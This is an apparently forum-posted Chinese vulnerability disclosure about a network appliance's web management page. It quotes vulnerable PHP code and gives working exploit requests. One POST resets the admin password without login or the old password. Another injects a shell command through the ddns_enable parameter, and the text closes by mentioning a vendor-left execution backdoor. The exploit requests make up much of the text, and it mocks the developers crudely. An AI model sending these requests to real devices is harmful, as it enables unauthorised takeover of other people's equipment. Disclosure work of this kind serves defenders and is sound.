所有漏洞利用起来都不需要登陆哦，详情参考下面描述：
0x01 无需登录就可配置系统
很多功能不需要登陆就可以使用，更改流控配置，我就以修改密码为例
看下修改密码的逻辑功能代码，直接无语：
（/usr/ramdisk/www/sys/maintain/system_handle.php）

if ($type == "changepass_handle") {
        $oldpass = postval("oldpass");
        $newpass = postval("newpass");
        $loginuser = postval("loginuser");
        exec("cat /etc/.htpasswd2 | grep $loginuser:$oldpass", $out, $ret);
        if ($out[0] == "") {
                outputres("no", "");
                exit;
        }
<修改密码逻辑>


不判断$oldpass是否为空，屌渣天的程序猿
不需要知道旧密码，直接POST “type=changepass_handle&loginuser=admin&newpass=123”就可以把admin密码改了
并且http://IP/sys/Maintain/system_handle.php这个页面不需要登陆就可以访问，不信你试试

0x02 系统命令注入
还是/usr/ramdisk/www/sys/maintain/system_handle.php：

if ($type == "ddns_config_handle") {
        $ddns_enable = postval("ddns_enable");
        $cmd = $ipe_ddns." -e $ddns_enable";
        exec($cmd, $out, $ret);
        if ($ret != "0") {
                outputres("no", $out[0]);
                exit;
        }
        outputres("yes", "");
}


这个没什么好说的
POST http://IP/sys/Maintain/system_handle.php

type=ddns_config_handle&ddns_enable=0|id>/tmp/fuck.txt


web根目录/usr/ramdisk不可写，所以写在/tmp/目录下测试

这个也没什么好说的，官方自己留的命令执行、文件读写后门，以命令执行为例：
